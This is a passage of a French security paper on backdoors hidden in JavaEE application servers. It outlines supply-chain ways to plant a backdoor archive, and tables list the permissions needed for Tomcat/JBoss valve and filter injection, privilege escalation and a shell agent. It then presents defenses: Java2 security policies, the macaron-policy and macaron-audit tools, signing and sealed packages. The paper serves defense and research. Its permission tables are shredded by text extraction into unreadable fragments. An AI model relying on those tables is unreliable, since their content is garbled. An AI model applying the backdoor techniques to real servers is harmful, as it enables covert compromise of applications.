420 Porte derobee dans les serveurs drsquoapplications JavaEE

dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole

Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela

Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut

ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en

attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee

ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1

Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet

Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace

Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9

La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable

5 Les solutions

Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif

Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications

8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security

10 httpantapacheorgivy

P Prados 421

hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)

Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet

grant codeBase file$catalinabase webappsMonProjetWEB -INFlib

permission javalangRuntimePermission

createClassLoader

Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges

Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees

Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques

En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre

grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar

permission javalangRuntimePermission

createClassLoader

Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire

422 Porte derobee dans les serveurs drsquoapplications JavaEE

Le

table

ausu

ivan

tid

enti

fie

les

diff

eren

tspie

ges

pre

sents

dan

slrsquoar

chiv

ede

dem

onst

rati

on

Pie

ges

Locali

sati

on

Desc

rip

tion

s

Res

ou

rces

Bu

nd

les

Exceptionsclass

formatclass

i18nclass

LocalStringsclass

messageclass

messagesclass

viewsclass

windowsclass

javaxservletLocalStringsclass

orgapachecatalinastoreconfigLocalStringsclass

orgapachexercesimplmsgDOMMessagesclass

orgapachexmlresXMLErrorResourcesclass

orghibernatevalidatorresourcesDefaultValidatorMessagesclass

Pu

blica

tion

de

class

esp

ou

rsi

mu

ler

un

fich

ier

properties

Ser

vic

essp

ecifi

cati

on

sJA

RMETA

INFservicesjavaxxmlparsersDocumentBuilderFactory

META

INFservicesjavaxxmlparsersSAXParserFactory

Pu

blica

tion

de

lrsquoim

ple

men

tati

on

de

nou

vea

ux

serv

ices

pu

isd

eleg

ati

on

du

trait

emen

ta

lrsquoim

ple

men

tati

on

stan

-d

ard

Pro

gra

mm

ati

on

par

asp

ect

META

INFaopxml

Dec

lara

tion

gen

eriq

ue

de

regle

sd

rsquoin

ject

ion

s

Le

tab

leau

suiv

ant

ind

iqu

ele

sd

iffer

ente

ste

chn

iqu

esdrsquoi

nje

ctio

ns

dan

sle

flu

xd

etr

ait

emen

td

esre

qu

etes

HT

TP

etle

sp

rivil

eges

nec

essa

ires

P Prados 423In

jecti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Pro

tect

ion

de

lap

ort

ed

erobee

contr

ela

de-

com

pilati

on

javautilPropertyPermission

macaron-backdoorread

javalangRuntimePermission

createClassLoader

javalangRuntimePermission

getProtectionDomain

Pou

rev

iter

lad

e-co

mp

ilati

on

le

cod

ees

tp

rote

ge

Ce

pri

vil

ege

nrsquoe

stp

as

nec

essa

ire

enco

nd

itio

nn

orm

ale

etp

eut

etre

ign

ore

lors

des

test

sIl

nrsquoe

stp

as

dis

crim

inant

pou

rdem

ontr

erqu

rsquoun

eatt

aqu

en

ep

eut

avoir

lieu

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

La

port

ed

erobee

con

stru

itu

ne

Valv

eet

lrsquoin

-je

cte

dan

sT

om

cat

alrsquoaid

ed

rsquoun

ere

qu

ete

Mb

ean

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

5x

siltContext

privileged=truegt

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Si

lep

rivil

ege

est

dis

pon

ible

dan

scontextxml

etu

tilisa

tion

de

Tom

cat

5x

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

6x

javalangRuntimePermission

defineClassInPackageorgapachecatalinavalves

javalangRuntimePermission

defineClassInPackageorgapachecatalina

javalangRuntimePermission

defineClassInPackageorgapachecatalinaconnector

Si

uti

lisa

tion

de

Tom

cat

6x

Inje

ctio

nd

eV

alv

ed

an

sJB

oss

avec

Tom

cat

5x

siltContext

privileged=truegt

javaxmanagementMBeanServerPermission

findMBeanServer

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

getClassLoader

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Sile

pri

vil

ege

est

dis

pon

ible

dan

scontextxml

lap

ort

ed

erob

eeco

nst

ruit

un

eV

alv

eet

lrsquoin

ject

ed

an

sJB

oss

alrsquoaid

ed

rsquoun

ere

quet

eM

bea

n

424 Porte derobee dans les serveurs drsquoapplications JavaEE

Inje

cti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Au

gm

enta

tion

de

pri

vil

eges

sou

sT

om

cat

javaioFilePermission

$catalinahomelibwrite

javaioFilePermission

$catalinahomelibread

(Optional)

javautilPropertyPermission

catalinahomeread(Optional)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Au

gm

enta

tion

de

pri

vil

eges

sou

sJB

oss

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerwrite

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerread

(Optionel)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Inje

ctio

nd

efi

ltre

JavaE

Ed

an

swebxml

sou

sT

om

cat

javaioFilePermission

$catalinabasewebapps$warWEB

INFwebxml

write

Cet

teatt

aqu

eco

nsi

ste

ain

ject

eru

nfi

ltre

JE

Ed

an

sla

ver

sion

enca

che

de

Tom

cat

du

fich

ier

webxmlA

up

roch

ain

red

emarr

age

lefi

ltre

est

act

if

Inje

ctio

nS

pri

ng

Au

cun

Inje

ctio

nd

eltbeangt

dan

sle

sfi

chie

rsd

ep

ara

met

rage

de

Sp

rin

gp

ou

rca

ptu

rer

tou

sle

sre

qu

etes

au

fram

ework

MV

C

Pro

gra

mm

ati

on

par

asp

ect

Au

cun

Inje

ctio

nd

etr

ait

emen

tp

ou

rle

sse

rvle

tset

JS

P

Vou

sp

ou

vez

con

state

rqu

ed

eux

att

aqu

esn

en

eces

site

nt

au

cun

pri

vil

ege

Le

tab

leau

suiv

ant

rep

ren

dle

sp

rivil

eges

nec

essa

ires

au

xd

iffer

ents

agen

tsp

rop

ose

sC

esp

rivileg

esn

eso

nt

pas

nec

essa

ires

au

ne

att

aqu

eci

ble

e

P Prados 425A

gents

Priv

ileges

min

imu

ms

necess

air

es

Desc

rip

tion

s

Agen

tH

isto

riqu

eA

ucu

np

rivil

ege

part

icu

lier

A

gen

tm

emori

sant

les

der

nie

res

requ

etes

HT

TP

Agen

tJN

DI

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tm

an

ipu

lant

lrsquoan

nu

air

eJN

DI

Agen

tJM

XjavaxmanagementMBeanPermission

getDomainsgetMBeanInfogetAttribute

Agen

tco

nsu

ltant

les

JM

X

Agen

tJD

BC

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

de

man

ipu

ler

lab

ase

de

don

nee

s

Agen

tJava

avec

lan

gage

Javasc

rip

tA

ucu

np

rivil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

lrsquoex

ecu

tion

de

cod

eJavasc

rip

t

Agen

tJava

avec

lan

gage

Java

javalangRuntimePermission

createClassLoader

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

Agen

tp

erm

etta

nt

laco

mp

ilati

on

de

cod

eJava

alrsquoaid

ed

rsquoAJP

le

com

pilate

ur

de

JS

P

Exte

nsi

on

agen

tJava

pou

rT

om

cat

javaioFilePermission

$catalinahomecommonlibread

javaioFilePermission

$catalinahomecommonendorsedread

javaioFilePermission

$catalinahomecommonendorsedread

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

du

cod

eso

us

Tom

cat

Exte

nsi

on

agen

tJava

pou

ru

ne

com

pilati

on

via

toolsjar

javautilPropertyPermission

javaiotmpdirread

javautilPropertyPermission

javaclasspathread

javautilPropertyPermission

javaendorseddirsread

javautilPropertyPermission

javaextdirsread

javautilPropertyPermission

sunbootclasspathread

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

avec

tools

jar

siA

JP

nrsquoe

stp

as

dis

pon

ible

Agen

tS

hel

l

javaioFilePermission

binbashexecute

javaioFilePermission

WINDOWSSytem32cmdexeexecute

javaioFilePermission

commandcomexecute

Agen

tp

rop

osa

nt

un

shel

l

426 Porte derobee dans les serveurs drsquoapplications JavaEE

Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts

Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela

Tomcat propose un parametre de lancement pour utiliser la securite Java2

$ catalinash run -security

Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer

JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections

51 Utilisation de la securite Java2

Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information

Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante

ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase

Par exemple le fichier suivant indique des privileges pour une archive specifique

grant

permission javautilloggingLoggingPermission

control

permission javautilPropertyPermission

11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml

P Prados 427

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure

Sur le site une video presente egalement un cas drsquoutilisation de cet outil

De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant

$ macaron -policy --output MonComposantpolicy

MonComposantear

Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications

Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy

Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes

Tab 1 Variables de politique de securite

Variable Description

$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant

Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant

428 Porte derobee dans les serveurs drsquoapplications JavaEE

grant

permission javaioFilePermission $webapphomelogread write

Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes

Le fichier de propriete pour Tomcat est le suivant

serverhome=$catalinahome

serverlib=$catalinahome serverlib

webappsbase=file$catalinabase webapps

webappshome=$webappsbase$basename

La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande

$ macaron -policy -P tomcatproperties

-Dbasename=sample

Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication

$ macaron -policy -P tomcatproperties

-Dbasename=$basename

$ export JAVA_OPTS=- Dbasename=sample

$ $TOMCAT_HOMEbincatalinash run -security

Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci

$ macaron -policy --output MonComposantpolicy

-P tomcatproperties MonComposantear

Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)

Privileges separes

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

P Prados 429

ou tous les privileges globalement (parametre --merge )

Privileges globaux

grant

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite

La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple

Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter

Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte

Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation

Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=

ndash httpslocalhost

ndash filedatabasepolicypolicy

ndash policypolicy

Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-

-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise

13 httpmacaron-policygooglecodecom

430 Porte derobee dans les serveurs drsquoapplications JavaEE

Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar

possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme

$ macaron -policy --merge --output securitypolicy

$MACARON_HOMElibpolicy -jar

Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee

$ JAVA_OPT=-Djavasecuritymanager

-Djavasecuritypolicy=securitypolicy

macaron -policy --output -

$MACARON_HOMElibpolicy -jar

Les privileges demandes sont les suivants

grant

permission javautilloggingLoggingPermission control

permission javautilPropertyPermission

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

permission javanetSocketPermission

80 connect resolve

permission javanetSocketPermission

443 connect resolve

permission javalangRuntimePermission

getenvPOLICY_DATABASE

Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy

Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante

$ macaron -policy

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy

P Prados 431

Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run

-security gtaccesslog 2gtamp1

La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses

Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces

-Djavasecuritydebug=access failure permission=javalangRuntimePermission

Ou bien de ne tracer que les privileges necessaires a un composant particulier

-Djavasecuritydebug =

access failure codebase =

file$TOMCAT_HOMEwebappssample

Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug

macaron -policy --accesslog accesslog

Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege

$ macaron -policy

--accesslog accesslog

--policy $CATALINA_HOMEconfcatalinapolicy

$CATALINA_HOMEwebappsMonComposantwar

Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I

$ macaron -policy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

432 Porte derobee dans les serveurs drsquoapplications JavaEE

Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution

Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy

Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant

$ export

JAVA_OPTS=-Djavasecuritydebug=access failure

$ while [ true ] do

echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read

macaron -policy

-P tomcatproperties

--policy $CATALINA_HOMEconfcatalinapolicy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar

echo launch tomcat

$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1

done

Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract

en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi

$ macaron -policy

--loglevel info

--extract

--output mypolicydatabase

--policy $CATALINA_HOMEconfcatalinapolicy

Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum

Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires

P Prados 433

a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication

Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations

$ macaron -policy --help

52 Signature numerique

Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement

grant codebase foocom Signedby foo

Principal comsunsecurityauthSolarisPrincipal duke

permission javasecurityAllPermission

Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant

53 Defense passive

Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons

ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les

memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres

utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges

Un fichier au format XML permet de synthetiser les resultats

$ macaron -audit --output auditxml MonComposantear

$ firefox auditxml

434 Porte derobee dans les serveurs drsquoapplications JavaEE

Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats

Fig 14 Audit

Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs

archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc

ltpackages gt

ltpackage

name=orgaspectjinternallangannotationgt

ltcontext gtaspectjweaver -161 jarltcontext gt

ltcontext gtaspectjrt -160 jarltcontext gt

ltpackage gt

ltpackages gt

Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees

$ macaron -audit --output ignorexml MonComposantear

$ macaron -audit --ignore ignorexml

-output auditxml

MonComposantear

P Prados 435

Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement

ltfilenames gt

ltfilename name=MANIFESTMF gt

ltfilename name=INDEXLIST gt

ltfilename name=packagehtml gt

ltfilenames gt

Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques

Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses

ltdependency gt

ltgroupId gtorgspringframework ltgroupId gt

ltartifactId gtspring -aspects ltartifactId gt

ltversion gt255ltversion gt

ltexclusions gt

ltexclusion gt

ltgroupId gtorgaspectj ltgroupId gt

ltartifactId gtaspectjrt ltartifactId gt

ltexclusion gt

ltexclusions gt

ltdependency gt

Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml

Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2

54 Defense active

Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14

Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)

14 httpjavasuncomdeveloperJDCTechTips2001tt0130html

436 Porte derobee dans les serveurs drsquoapplications JavaEE

Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee

